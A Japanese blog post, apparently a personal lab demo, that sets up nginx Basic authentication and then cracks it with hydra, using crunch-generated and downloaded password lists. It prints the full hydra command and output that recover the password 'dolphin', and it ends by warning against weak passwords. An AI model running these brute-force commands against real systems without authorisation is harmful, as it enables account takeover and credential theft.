hydraでBasic認証をパスワードクラック!
Basic認証をクラックしよう
以前、sshでhydra使ってpasswordクラックしたんだけどパフォーマンス悪いし見えにくいしでhttpのBasic認証でcrackした方が見やすいし、簡単でいいな、ということで以前組んでいたBasic認証を再利用してhydraでattackする。ちょうど脆弱性デモをしたかったし好都合。
デモ環境
使ったtool
なお全てインストール済みということを前提としている
NginxにBasic認証導入編
basic認証をかけるパス配下 sampleディレクトリ配下にかける
/var/www/html/sample
.htaccessファイルの場所
そもそもnginxには.htaccessファイルはない、それに該当するファイルとして
/etc/nginx/sites-available/default
というdefaultファイルに設定を付け加える
server { listen 80 default_server; listen [::]:80 default_server; location /sample { auth_basic "Basic Auth"; auth_basic_user_file "/etc/nginx/.htpasswd"; }
.htpasswdファイルの場所
/etc/hginx/.htpasswd
ユーザ:{SHA}S78***************
.htpasswdにはユーザ:暗号化されたpasswdという形式で記述 暗号化にはこういう便利なサービスを利用するといい
後はsystemctl restart nginxとかガチャガチャする そしてhttp://IPADDR/sampleにアクセスするとBasic認証が起動する
参考URL
Nginx : Basic認証の設定 ApacheでBasic認証設定
パスワードファイル編
hydraでcrackする際は基本的にBruteforce attack( 総当たり攻撃 )という手法でcrackするがその際に使用する辞書と呼ばれるパスワードファイルを用いて総攻撃をするので、使う辞書によっては総当たり攻撃とも言えないのでは?と思ったけどそこは重要じゃないので流す! とりあえず、パスワードファイル、辞書ファイルがないと何も始まらないよ!ってことで今回は有名な辞書ファイルを使う! 最新のよく使われるパスワードファイルなんかで回すとどうなるんだろうw
使用感度のいいPassword list
よく使われるパスワードをリスト化したファイルを置いてある。 ここにあるlower.gzとpassword.gzをダウンロードして使用 lowerが3kと軽く、ワード数は1000未満 passwordが13kと程よく、ワード数は3600程度 今回はどちらも使用した!
自分で作成するpassword list
crunchというコマンドで自分でパスワードファイルを作成することも可能で、その場合だと本当の意味での総当たりができると思う。
$ crunch crunch version 3.6 Crunch can create a wordlist based on criteria you specify. The output from crunch can be sent to the screen, file, or to another program. Usage: crunch <min> <max> [options] where min and max are numbers Please refer to the man page for instructions and examples on how to use crunch.
によるとどうやらこう使うらしい
$ crunch 3 3 ab Crunch will now generate the following amount of data: 32 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 8 aaa aab aba abb baa bab bba bbb
このように
$ crunch 最小文字列数 最大文字列数 文字列に含む文字 >> failname.txt
というように使う。そうすると結果として出力されるのであとはファイルに書き出してやればいい。
今回は実験として重複ありの全ローマ字で8文字列と6文字列のパスワードファイルを作成してみた
6文字列
$ time crunch 1 6 abcdefghijklnmopqrstuvwxyz > plainpasswd.list Crunch will now generate the following amount of data: 2236055952 bytes 2132 MB 2 GB 0 TB 0 PB Crunch will now generate the following number of lines: 321272406 crunch 1 6 abcdefghijklnmopqrstuvwxyz > plainpasswd.list 67.02s user 3.25s system 95% cpu 1:13.45 total
01m:13sかかり、321272406wordsなのでそりゃ2Gも使う
$ time crunch 1 8 abcdefghijklnmopqrstuvwxyz > plainpasswd.list Crunch will now generate the following amount of data: 1945934118544 bytes 1855787 MB 1812 GB 1 TB 0 PB
無理。1Tとか... そんなリソース無駄使いできないしCPUがえぐかったので強制終了。
なのでおそらく、その場でa~zまでのランダムな文字列のパスワードファイルを作成しようとすると6文字くらいが限界。12桁のパスワードファイル等をcrackする際のパスワードファイルを作成する場合はCPUパワーがあるマシンで数日回す必要があると思う。
URL
10_million_password_list_top_100000 最新のパスワードファイル
他にも「 password list 」なんかで検索するとたくさん出てくる
hydra password crack編
ここまでBasic認証とパスワードファイルを用意した。ついに本題である、hydraによるBasic認証のPassword Crackに入れる!
hydraの使い方をおさらい
基本的に
hydra -l ユーザ -p '辞書のパス' 攻撃するマシンのIP プロトコル
だが、今回はBasic認証ということで少しフォーマットが変わる
time hydra -l ユーザ -P パスワードファイルのパス IPADDR http-get /Basic認証がかかっているIPADDR配下のファイル
というフォーマットで後はコマンド叩くだけ
そして今回はIPADDR/sampleにかけられているBasic認証にcrackするので上にユーザも判明している場合を想定しているので、結果として、
MYUSER:[~]$ time hydra -l USER -P ~/Desktop/password.lst 10.0.0.*** http-get /sample Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-22 16:13:07 [DATA] max 16 tasks per 1 server, overall 16 tasks, 3557 login tries (l:1/p:3557), ~223 tries per task [DATA] attacking http-get://10.0.0.***:80//sample [80][http-get] host: 10.0.0.**** login: USER password: dolphin 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2018-01-22 16:13:10 hydra -l USER -P ~/Desktop/password.lst 10.0.0.*** http-get /sample 0.02s user 0.09s system 3% cpu 3.042 total
見やすく抽出すると
[80][http-get] host: 10.0.0.**** login: USER password: dolphin
login: USER password: dolphin
ってバッチリとれてる!実にかかった時間なんと3s!
dolphinというパスワードががっつり判明してる...
このdolphinというパスワード、2018年の正月辺りにセキュリティ界隈ではバズったワードですねw
他にもpassword: 123456で回して見たけど0.7sというそりぁあね!という結果が得られたりしたよw
総括
まぁ、こんな感じで文字列だけとかいう脆弱なパスワードだと抜かれますよってこと。また、今回はユーザが判明している状況を想定したわけだけどユーザ名もユーザファイルみたいなよく使われるユーザ名をリスト化したファイルがあるからそれも併用してhydraを使えば回せるというわけ! 基本的にはBasic認証なんかもう今は使われてないと思うけど、もし使用していてパスワードを抜かれてしまった際はクラッカーはパスワードの使い回しを想定して暗躍しているので他のサービス等でそのパスワードを使用するという目的もちゃんと理解しておくべきなのかもね。 結局何が言いたいかというと、 脆弱なパスワードはあかん!!!! ということだよね(-A-)